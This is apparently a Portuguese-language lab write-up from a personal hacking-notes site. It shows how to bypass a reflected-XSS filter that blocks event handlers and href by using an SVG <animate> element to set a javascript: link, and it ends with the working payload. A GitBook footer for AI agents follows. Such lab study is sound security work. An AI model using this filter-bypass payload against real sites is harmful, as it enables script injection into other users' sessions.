> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-with-blocked-events-and-href-attributes.md).

# XSS com Eventos Bloqueados e Atributos href

### XSS refletido com manipuladores de eventos e atributos href bloqueado

Lab d A operação deve injetar um elemento clicável com as palavras **"Clique"** (ou equivalente) e acionar `alert()` no clique.

Insira um elemento visível contendo a palavra **Clique** que, quando o usuário clicar nele, executa `alert()` apesar da proibição de manipuladores de eventos e `href`.

```javascript
<script>
```

* Inserindo `<script>` retorna: *Tag não é permitida*.

<figure><img src="/files/0d13a5588de9b710f1b1f9eb4319ba17b1c4889a" alt=""><figcaption></figcaption></figure>

* O `<a>` tag é aceita (por exemplo, `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="/files/e16e05abb1947b8ff26d32e1cd48d03f00e800a2" alt="" width="510"><figcaption></figcaption></figure>

O `href` atributo é recusado — `href="JavaScript:..."` é bloqueado.

```javascript
<a href="javascript:alert(0);"Clique em mim</a>
```

<figure><img src="/files/16ea2e1472994ac388dd214556d75b5947ad5ff3" alt=""><figcaption></figcaption></figure>

* Elementos SVG são permitidos (`<svg>` é aceito).

```javascript
<svg>
```

<figure><img src="/files/f325401b0170c3f52d130912c1cc8b6ede80d7ff" alt="" width="563"><figcaption></figcaption></figure>

* Elementos de animação SVG (como `<animate>`) parecem estar presentes e exploráveis.

<figure><img src="/files/e59286aeb58a22a0ae18798ad6260f5be00e341c" alt=""><figcaption></figcaption></figure>

**Tentativas —**

* Injetar `<script>` → rejeitado.
* Use `<a href="JavaScript:...">` → atributo proibido.
* Bloqueio de contorno combinando elementos SVG e de animação para transferir um `href` valor para uma âncora e assim tentar executar `JavaScript:alert(0)` no clique.

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>Clique em mim!</script></a>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-with-blocked-events-and-href-attributes.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
